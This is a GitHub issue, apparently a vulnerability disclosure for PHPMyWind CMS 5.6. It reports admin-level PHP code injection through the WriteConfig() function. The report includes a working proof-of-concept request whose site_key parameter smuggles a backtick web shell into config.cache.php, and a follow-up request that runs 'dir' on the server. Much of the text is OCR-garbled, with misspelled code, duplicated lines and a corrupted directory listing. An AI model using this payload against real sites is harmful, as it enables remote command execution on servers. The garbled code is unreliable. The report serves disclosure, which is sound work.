New issue Jump to bottom

## PHP Code Execution via WriteConfig() function #15

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Open KietNA-HPT opened this issue on Aug 22, 2021 · 1 comment
```

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KietNA-HPT commented on Aug 22, 2021 • edited ▼
#Author: KietNA from 1nv1cta team, HPT CyberSecurity Center
#Submit date: 22/08/2021
#Condition: Admin user
#Version: v5.6
#Description:
Becase of filtered input without "<, >, ?, =, `,...." In WriteConfig() function, the attacker can inject php code to /include/config.cache.php file. The attacker can append ?> to close php syntax and
adding new php function
                                                                                                                                                                         The Attacker can
      if($action == 'add')
                                                                                    Add a new site
                    = $dosql->GetOne("SELECT `id` FROM `$tbname` WHERE `sitekey`='$site_key'");
             if(isset($r['id']))
                    ShowMsg('该站点标识已存在!', '-1');
             $sql = "INSERT INTO `$tbname` (`sitename`, `sitekey`, `sitelang`) VALUES ('$site_name', '$site_key', '$site_lang'
             if($dosql->ExecNoneQuery($sql))
                     $newsiteid = $dosql->GetLastID();
                     $data_str = "INSERT INTO \#@_webconfig\ VALUES('$newsiteid','cfg_webname_$site_key','网站名称','0','string','$
                    webname', 1');
INSERT INTO `#@_webconfig` VALUES('$newsiteid','cfg_weburl_$site_key','网站地址','0','string','$weburl','2');
INSERT INTO `#@_webconfig` VALUES('$newsiteid','cfg_webpath_$site_key','网站目录','0','string','$webpath','3'
                    INSERT INTO `#@_webconfig` VALUES('$newsiteid','cfg_author_$site_key','网站作者','0','string','','4');
INSERT INTO `#@_webconfig` VALUES('$newsiteid','cfg_generator_$site_key','程序引擎','0','string','PHPMyWind
                    INSERT INTO `#@_webconfig` VALUES('$newsiteid','cfg_generator_$site_key','桂序引擎','0','string','PHPMyWind CMS','5');
INSERT INTO `#@_webconfig` VALUES('$newsiteid','cfg_seotitle_$site_key','SEO标题','0','string','','6');
INSERT INTO `#@_webconfig` VALUES('$newsiteid','cfg_keyword_$site_key','关键字设置','0','string','','7');
INSERT INTO `#@_webconfig` VALUES('$newsiteid','cfg_description_$site_key','网站描述','0','bstring','','8');
INSERT INTO `#@_webconfig` VALUES('$newsiteid','cfg_copyright_$site_key','版权信息','0','bstring',''Copyright
@ 2010 - 2014 phpMyWind.com All Rights Reserved','9');
INSERT INTO `#@_webconfig` VALUES('$newsiteid','cfg_hotline_$site_key','容服热线','0','string','','10');
INSERT INTO `#@_webconfig` VALUES('$newsiteid','cfg_icp_$site_key','agaage','0','string','','11');
INSERT INTO `#@_webconfig` VALUES('$newsiteid','cfg_webswitch_$site_key','allendid','0','bool','$webswitch','
12').
                     $querys = explode(';', $data_str);
foreach($querys as $sql)
                            if(trim($sql) == '') continue;
$dosql->ExecNoneQuery($sql);
```

```
function WriteConfig()
          global $dosql;
          $str = '<?php if(!defined(\'IN_PHPMYWIND\')) exit(\'Request Error!\');'."\r\n\r\n";
$dosql->Execute("SELECT `varname`,`vartype`,`varvalue`,`vargroup` FROM `#@_webconfig` ORDER BY `orderid` ASC");
while($row = $dosql->GetArray())
               if($row['varname'] == 'cfg_countcode')
                    $row['varvalue'] = stripstashes($row['varvalue']);
               if($row['vartype'] == 'number')
                                                                            Value of parameter that attacker inserted into database
                         $row['varvalue'] = 0;
                                                                                                                              Input
Filtered
without
"<,?,=,`,...
                    $str .= "\${$row['varname']} = ".$row['varvalue'].";\r\n";
                    $str .= "\${$row['varname']} = '".str_replace("'",'',$row['varvalue']).'';\r\n";
          }
%str .= '?>':
                                                                                                 Call Writef() function to append $str into / include/config.cache.php file
          Writef(PHPMYWIND_INC.'/config.cache.php',$str);
           if(!function_exists('Writef'))
                function Writef($file,$str,$mode='w')
                        $fp = fopen($file, $mode);
                        flock($fp, 3);
                        fwrite($fp, $str);
fclose($fp);
                    else if(!file_exists($file))
                       $fp = fopen($file, $mode);
                       flock($fp, 3);
fwrite($fp, $str);
fclose($fp);
###PoC:
                                                                                 Re
Pretty Raw Hex \n ≡
site_name=123&site_key=kietna?><?=`$_GET[0]`?><?&site_lang=testtest&webname=123
&weburl=http%3A%2F%2F172.16.0.12%3A2Z22&webpath=123&webswitch=Y&action=add
```

In config.cache.php file

```
• goods_update.php × goods_save.php × common.func.php × Find Results
                    config.cache.php
                                           if(!defined('IN PHPMYWIND')) exit('Request Error!');
                     $cfg_webname = '我的网站';
$cfg_webname_kietna?><?=`$_GET[0]`?><? = '123';
                     $cfg_weburl = 'http://172.16.0.12:2222';
$cfg_weburl_kietna?><?=`$_GET[0]`?><? = 'http://172.16.0.12:2222';</pre>
                     $cfg webpath =
                     $cfg_webpath_kietna?><?=`$_GET[0]`?><? = '123';</pre>
                     $cfg_author =
                     $cfg_author_kietna?><?=`$_GET[0]`?><? = '';</pre>
                      $cfg_generator = 'PHPMyWind CMS
                      $cfg_generator_kietna?><?=`$_GET[0]`?><? = 'PHPMyWind CMS';</pre>
                      $cfg_seotitle =
                      $cfg_seotitle_kietna?><?=`$_GET[0]`?><? = '';</pre>
                      $cfg_keyword =
                      $cfg_keyword_kietna?><?=`$_GET[0]`?><? = '';</pre>
                     $cfg_description =
                     $cfg_description_kietna?><?=`$_GET[0]`?><? = '';
$cfg_copyright = 'Copyright © 2015 - 2018 phpMyWind.com All Rights Reserved';
$cfg_copyright_kietna?><?=`$_GET[0]`?><? = 'Copyright © 2010 - 2014 phpMyWind.com All Rights Reserved';</pre>
                     $cfg_hotline = '400-800-8888';
                     $cfg_hotline_kietna?><?=`$_GET[0]`?><? = '';</pre>
                     $cfg_icp =
                     $cfg_icp_kietna?><?=`$_GET[0]`?><? = '';</pre>
                      $cfg_webswitch = 'Y';
                     $cfg_webswitch_kietna?><?=`$_GET[0]`?><? = 'Y';
$cfg_switchshow = '对不起,网站维护,请稍后登录。<br />网站维护期间对您造成的不便,请谅解!';
$cfg_switchshow_kietna?><?=`$_GET[0]`?><? = '对不起,网站维护,请稍后登录。<br />网站维护期间对您造成的不便,请谅解!'
                     $cfg_upload_img_type = 'gif|png|jpg|bmp';
$cfg_upload_soft_type = 'zip|gz|rar|iso|doc|xls|ppt|wps|txt';
$cfg_upload_media_type = 'swf|flv|mpg|mp3|rm|rmvb|wmv|wma|wav';
                     $cfg_max_file_size = '2097152';
 Then back to .php files in /admin/ directory to execute code
                                                                                                                                                                                                                                                                                                                   Response
Request
 Pretty Raw Hex \n ≡
                                                                                                                                                                         Pretty Raw Hex Render \n ≡
                                                                                                                                                                                 HTTP/1.1 200 OK
Date: Sun, 22 Aug 2021 07:55:33 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHF/7.3.29
X-Powered-By: PHF/7.3.29
Connection: close
Content-Type: text/thml;charset=utf-8
Content-Type: text/thml;charset=
  1 GET /admin/default.php?0=dir HTTP/1.1
2 Host: 172.16.0.12:2222
1 GET /admin/default.php?0-dir HTTP/1.1
Host: 172.16.0.12:222
User-Agent: Mostila/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0)
Gecko/2010101 Pirefox/90.0
Accept:
Ac
                                                                                                                                                                            9 Volume in drive C has no label.
10 Volume Serial Number is EEDE-EB73
                                                                                                                                                                                 Directory of C:\xampp\htdocs\wind\admin
                                                                                                                                                                            13
14 08/22/2021 12:26 AM <DIR>
                                                                                                                                                                            15 08/22/2021 12:26 AM <DIR>
```

## 4,647 admanage.php 4,658 admanage.add.php 4,458 admanage.add.php 1,709 admanage.add.php 5,243 admanage.pave.php 5,243 admanage.update.php 3,279 admin.php 11,839 admin.php 11,839 admin.php 15,792 admin.group.add.php 3,255 admin.group.ave.php 15,792 admin.group.update.php 3,630 admin.group.update.php 3,630 admin.group.update.php 4,630 admin.group.update.php 4,630 admin.group.update.php 4,630 admin.group.update.php 4,630 admin.group.update.php 2,929 adtype.update.php 4,971 cascade.php 4,971 cascade.php 4,971 cascade.php 4,971 cascade.gave.php 1,513 cascade.gave.php 1,514 cascade.gave.php 1,514 cascade.gave.php 1,515 database.php 1,515 database.php 1,621 database.gave.php 1,621 database.gave.php 1,621 database.gave.php 1,623 database.gave.php 1,624 database.gave.php 1,624 database.gave.php 1,625 database.gave.php 1,626 database.gave.php 1,627 database.gave.php 1,628 database.gave.php 1,628 database.gave.php 1,638 database.gave.php 1,639 database.php 1,648 database.gave.php 1,649 database.php 1,649 database.php 1,640 database.php 03/28/2019 03:50 PM 03/28/201

## ###Request

```
POST /admin/site save.php HTTP/1.1
Host: 172.16.0.12:2222
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 153
 Origin: http://172.16.0.12:2222
 Connection: close
  Referer: http://172.16.0.12:2222/admin/site_add.php
Cookie: PortalOpenEMR=BKEx0ZLJ9X41gReg-UHNt-aC0iHNPiOLUOf7FXckgCAumudg: OpenEMR=UwreHaTw9igwJWXgAY3%2CWYkZgvA3wdVmvmdC50giVC1H2scM: loader=loaded: admin lang=cn: home lang=cn:
 workspaceParam=users_indexX7CMember; referurl=%ZFindex.phpX3FmX3Duser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z66X3DUser%Z60X3DUser%Z66X3DUser%Z66X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DUser%Z60X3DU
 ENV_IS_UPHTML=0; users_id=1; PHPSESSID=qhclrgdoah7rbv9134fvj07h00
Upgrade-Insecure-Requests: 1
```

site\_name=123&site\_key=kietna?><?=`\$\_GET[0]`?><?&site\_lang=testtest&webname=123&weburl=http%3A%2F%2F172.16.0.12%3A2222&webpath=123&webswitch=Y&action=add

###Response

HTTP/1.1 200 OK
Date: Sun, 22 Aug 2021 07:54:03 GMT
Server: Apache/2.4.48 (Win64) OpenSst/1.1.1k PHP/7.3.29

X.Powered-By: PHP/7.3.29

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Connection: close
Content-Type: text/html;charset=utf-8
Content-Length: 12942

<script type="text/javascript">window.top.location.reload();</script>

🎤 💰 KietNA-HPT changed the title PHP Code Execution via create new site function in site\_save.php PHP Code Execution via WriteConfig() function on Aug 22, 2021



